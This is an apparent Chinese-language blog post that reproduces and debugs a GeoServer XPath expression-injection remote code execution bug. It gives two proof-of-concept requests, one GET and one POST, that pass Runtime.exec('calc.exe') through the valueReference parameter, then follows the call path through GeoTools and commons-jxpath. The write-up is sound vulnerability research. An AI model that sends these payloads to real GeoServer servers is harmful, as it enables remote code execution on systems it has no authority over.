12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：   </span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>GeoServer：           <br/>

     &lt; 2.23.6             <br/>

     &gt;= 2.24.0, &lt; 2.24.4             <br/>

     &gt;= 2.25.0, &lt; 2.25.2</span></span></section><p style="margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">二、环境搭建</span></p><p style="text-align: left;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">源码下载：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://github.com/geoserver/geoserver/archive/refs/tags/2.23.5.zip" target="_blank">https://github.com/geoserver/geoserver/archive/refs/tags/2.23.5.zip</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">            <br/>war下载：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.5/geoserver-2.23.5-war.zip/download" target="_blank">https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.5/geoserver-2.23.5-war.zip/download</a></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">配置好 Tomcat 和 debug 。        <br/><img class="rich_pages wxw-img" data-backh="249" data-backw="560" data-imgfileid="100005078" data-ratio="0.44537037037037036" width="560.010009765625" data-type="png" data-w="1080" height="249.32000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1a45bafd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoohYYpzYtHZxibXI0WVnVQJC6DLXS04jsEVPVHt1lZboPru32g7J9RdA%2F640%3Fwx_fmt%3Dpng"/></span> </span><o:page></o:page></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">启动 Tomcat，访问</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);"><a href="http://127.0.0.1:8080/geoserver/web" target="_blank">http://127.0.0.1:8080/geoserver/web</a></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，可以看到自带的图层数据，环境搭建成功。</span></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="399" data-backw="560" data-imgfileid="100005081" data-ratio="0.712037037037037" width="560.010009765625" data-type="png" data-w="1080" height="398.8699951171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cdacf516&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoicuWIBseldcXmHfjZB7MbKOTPZOE8HV6olmzv79oib6u5M3HiaB6Eo74g%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">三、漏洞复现</span></p><p><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">使用 GetPropertyValue 进行复现，POC：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">service</span>=wfs&amp;version=<span class="code-snippet__number">2.0</span>.<span class="code-snippet__number">0</span>&amp;request=GetPropertyValue&amp;typeNames=sf:archsites&amp;valueReference=exec(java.lang.Runtime.getRuntime(),<span class="code-snippet__string">&#39;calc.exe&#39;</span>)</span></code></pre></section><p><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="278" data-backw="560" data-imgfileid="100005080" data-ratio="0.4962962962962963" width="560.010009765625" data-type="png" data-w="1080" height="277.75" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=35187c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVopnOrJnBQaic1xoQcdMRwhSosX3Q0gicztKJZPSH34HgspUb6ax3u57kg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">或者：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">POST /geoserver/wfs HTTP/1.1            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Host: 127.0.0.1:8080            </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Type: application/xml                     </span></span></code><code><span class="code-snippet_outer">                          </span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">&lt;wfs:GetPropertyValue service=&#39;WFS&#39; version=&#39;2.0.0&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">xmlns:topp=&#39;<a href="http://www.openplans.org/topp" target="_blank">http://www.openplans.org/topp</a>&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">xmlns:fes=&#39;<a href="http://www.opengis.net/fes/2.0" target="_blank">http://www.opengis.net/fes/2.0</a>&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">xmlns:wfs=&#39;<a href="http://www.opengis.net/wfs/2.0" target="_blank">http://www.opengis.net/wfs/2.0</a>&#39;</span></span></code><code><span class="code-snippet_outer">valueReference=&#39;exec(java.lang.Runtime.getRuntime(),<span class="code-snippet__string">&#34;calc.exe&#34;</span>)&#39;&gt;</span></code><code><span class="code-snippet_outer">  &lt;wfs:Query typeNames=&#39;topp:states&#39;/&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">&lt;/wfs:GetPropertyValue&gt;</span></span></code></pre></section><p><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="285" data-backw="560" data-imgfileid="100005079" data-ratio="0.5092592592592593" width="560.010009765625" data-type="png" data-w="1080" height="285.2900390625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ca8e84cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVo7c4rXYsd1cwPPDYon4AvIwFaZKMKh6nmAGHUOdWAXAPJKwm1v1iaIow%2F640%3Fwx_fmt%3Dpng"/></span><o:page></o:page></p><p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">四. 漏洞分析</span></p><section style="text-align: left;margin-bottom: 0px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">在第一个</span>漏洞公告<span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">中已经说明了可以通过WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞。           <br/>这些操作在《WFS参考》</span><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">文档中可以找到使用方法，本文复现使用的操作为 GetPropertyValue，作用如下：           </span></section><p style="text-align: left;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;"><a href="https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html" target="_blank">https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html</a><img class="rich_pages wxw-img" data-backh="415" data-backw="560" data-imgfileid="100005077" data-ratio="0.7418086500655308" width="560.010009765625" data-type="png" data-w="763" height="415.4200134277344" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=73565bce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoN6XqVWUu1K6HUs5kZhgw3O8DFLRqIGBrjaKzeExKndMglfpuOa6a0w%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">就是从 typeNames 指定的图层中检索 valueReference 属性的值。GeoServer 调用的 GeoTools 库 API 会以不安全的方式将该属性传递给 commons-jxpath 库，该库在评估 XPath 表达式时就导致任意代码执行。<br/></span></span><o:page></o:page></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">跟踪调试，从 Dispatcher.handleRequestInternal() 方法看起，处理请求逻辑。<br/></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">跟进 findService() 方法，看到根据 id 和 version 选出了符合条件的 Service 对象。 <img class="rich_pages wxw-img" data-backh="350" data-backw="560" data-imgfileid="100005083" data-ratio="0.6240740740740741" width="560.010009765625" data-type="png" data-w="1080" height="349.489990234375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c5837d7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoMMro0kQ4ODMPfPdInWYAeNVCzicJOQjZpV3ZYgabE5WlFZhJ4xicRiaKw%2F640%3Fwx_fmt%3Dpng"/></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">在 parseRequestKVP() 方法中，从 request 中获取了参数键值对，保存为 GetPropertyValueTypeImpl 对象。          <br/><img class="rich_pages wxw-img" data-backh="286" data-backw="560" data-imgfileid="100005084" data-ratio="0.5101851851851852" width="560.010009765625" data-type="png" data-w="1080" height="285.5799560546875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b21da799&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoJ2hz5DgJ9td6rbJddQ4Zg99SrCqVo5ibMg7tohZibP1EickAickM4saLdg%2F640%3Fwx_fmt%3Dpng"/></span> </span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">然后执行请求。<br/><img class="rich_pages wxw-img" data-backh="294" data-backw="560" data-imgfileid="100005082" data-ratio="0.524074074074074" width="560.010009765625" data-type="png" data-w="1080" height="293.54998779296875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cc97156a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoujygUiabOEiaKoTcCLMSSSf7JpFQrdXH9oPhGq0icQl9Y8fmwZqKZ4YBQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">反射调用 getPropertyValue() 方法。           <br/><img class="rich_pages wxw-img" data-backh="222" data-backw="560" data-imgfileid="100005086" data-ratio="0.3962962962962963" width="560.010009765625" data-type="png" data-w="1080" height="221.79998779296875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4cb70d1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVouMhkwxaQ9IflMmEG3OzfjY6j6UZ9vota1yeiag8jcRdibDmT4UZxXGdQ%2F640%3Fwx_fmt%3Dpng"/></span> </span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">跳到 DefaultWebFeatureService20.getPropertyValue()，实例化了一个 GetPropertyValue 对象，接着调用 GetPropertyValue.run()。           <br/><img class="rich_pages wxw-img" data-backh="294" data-backw="560" data-imgfileid="100005085" data-ratio="0.525" width="560.010009765625" data-type="png" data-w="1080" height="293.9200134277344" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5898313b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoDMfll1AicbaKPk0VxQ7gxgiaNfKn8v0NU9lp7o24dywdZYW0C1wia1F3Q%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进 FilterFactoryImpl.property()，实例化了一个 AttributeExpressionImpl 对象，将前端传入的 </span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">valueReference</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"> 参数值赋给了</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">this.attPath</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">。           <br/><img class="rich_pages wxw-img" data-backh="181" data-backw="560" data-imgfileid="100005090" data-ratio="0.32314814814814813" width="560.010009765625" data-type="png" data-w="1080" height="181.03997802734375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4bd8ae45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoWXKiaRDWn2gYPmgg6ibRLMoonSD9WHcqw8L4jk1Viar3zhv9TkvaqTia5g%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">propertyName</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">和</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">propertyNameNoIndexes</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">都为 AttributeExpressionImpl 对象，调用 evaluate() 评估属性描述符，也就是评估这个 XPath 表达式，符合漏洞描述中所说的。           <br/><img class="rich_pages wxw-img" data-backh="141" data-backw="560" data-imgfileid="100005088" data-ratio="0.25092592592592594" width="560.010009765625" data-type="png" data-w="1080" height="140.64996337890625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb891f1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoImjSrE2dn9ZwcVCGTrjXWffN9o4QvrG21iaxSaribqsB8decGycB48Ag%2F640%3Fwx_fmt%3Dpng"/></span> </span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">跟进，调用 PropertyAccessors.findPropertyAccessors()，遍历找到可以处理当前评估操作的 PropertyAccessor 对象，获取到 FeaturePropertyAccessorFactory，正是第二个漏洞公告</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">中提到的利用方法。<br/></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">然后调用 FeaturePropertyAccessorFactory.get()，传入</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">this.attPath</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">作为 XPath 表达式。</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">this.attPath</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">是前端传入的</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">valueReference</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">参数的值，也就是说这个位置的 XPath 表达式可控。<br/><img class="rich_pages wxw-img" data-backh="255" data-backw="560" data-imgfileid="100005087" data-ratio="0.45476477683956573" width="560.010009765625" data-type="png" data-w="829" height="254.6699981689453" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=65203b83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVonEgHAA8oNon9yv8HhVVpshu7QSUTLUWnxyUfo28UfZhfWXOA5WWvtA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="378" data-backw="560" data-imgfileid="100005089" data-ratio="0.6759259259259259" width="560.010009765625" data-type="png" data-w="1080" height="378.4100341796875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a41ca25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoVbAakZbml22kd5fTKvsrcaHTcnr9kndib5ibGP2cJOKgjnHicibZiaicDvUw%2F640%3Fwx_fmt%3Dpng"/></span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">跟进，向</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">context</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">中注册了命名空间的名称及uri，然后迭代 XPath 指针。           <br/><img class="rich_pages wxw-img" data-backh="157" data-backw="560" data-imgfileid="100005091" data-ratio="0.2796296296296296" width="560.010009765625" data-type="png" data-w="1080" height="156.6199951171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=271a9360&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVo2Ljiao08E6Bnpa3qkEv11rKkakkJuibtsmbQNNA9Kwd43A0foUIWBFoQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">编译表达式，调用 compute() 进行计算。           <br/><img class="rich_pages wxw-img" data-backh="156" data-backw="560" data-imgfileid="100005093" data-ratio="0.27870370370370373" width="560.010009765625" data-type="png" data-w="1080" height="155.83999633789062" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e4a4f3ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVouHLEAbdPupDGEYULmRegNonclW4nD4UNeZeQicnibGEcd2KGadvnClPQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">将</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">this.args</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">的计算转换后结果保存到</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">parameters</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">中，包含一个 Runtime对象和</span></span><span style="color: rgb(11, 66, 188);font-family: Helvetica Neue;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">calc.exe</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">字符串； </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">然后获取到</span>exec()<span style="font-family: Cambria;font-variant: normal;text-transform: none;">方法，调用该方法执行命令。<br/></span></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="232" data-backw="560" data-imgfileid="100005092" data-ratio="0.4148148148148148" width="560.010009765625" data-type="png" data-w="1080" height="232.30999755859375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1d5308c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVox10t1rfjWr657ht4oTkuXKLPs0gB0icpagAWMpw9AxqvBwLibKu1MnCg%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 24px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">本文就简单跟踪一下命令执行的过程，更多细节及利用方式可参考：<br/></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"></span></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://xz.aliyun.com/t/14991" target="_blank">https://xz.aliyun.com/t/14991</a><br/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://y4tacker.github.io/2024/07/03/year/2024/7/%E6%B5%85%E6%9E%90GeoServer-property-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2024-36401/" target="_blank">https://y4tacker.github.io/2024/07/03/year/2024/7/%E6%B5%85%E6%9E%90GeoServer-property-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2024-36401/</a><br/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=Mzg2MTc1NDAxMA==&amp;mid=2247484076&amp;idx=1&amp;sn=4064cb6a006f5cc454b7fb982e8ab9c6&amp;scene=21#wechat_redirect" style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;" data-linktype="2"><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;">https://mp.weixin.qq.com/s?__biz=Mzg2MTc1NDAxMA==&amp;mid=2247484076&amp;idx=1&amp;sn=4064cb6a006f5cc454b7fb982e8ab9c6</span></a><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



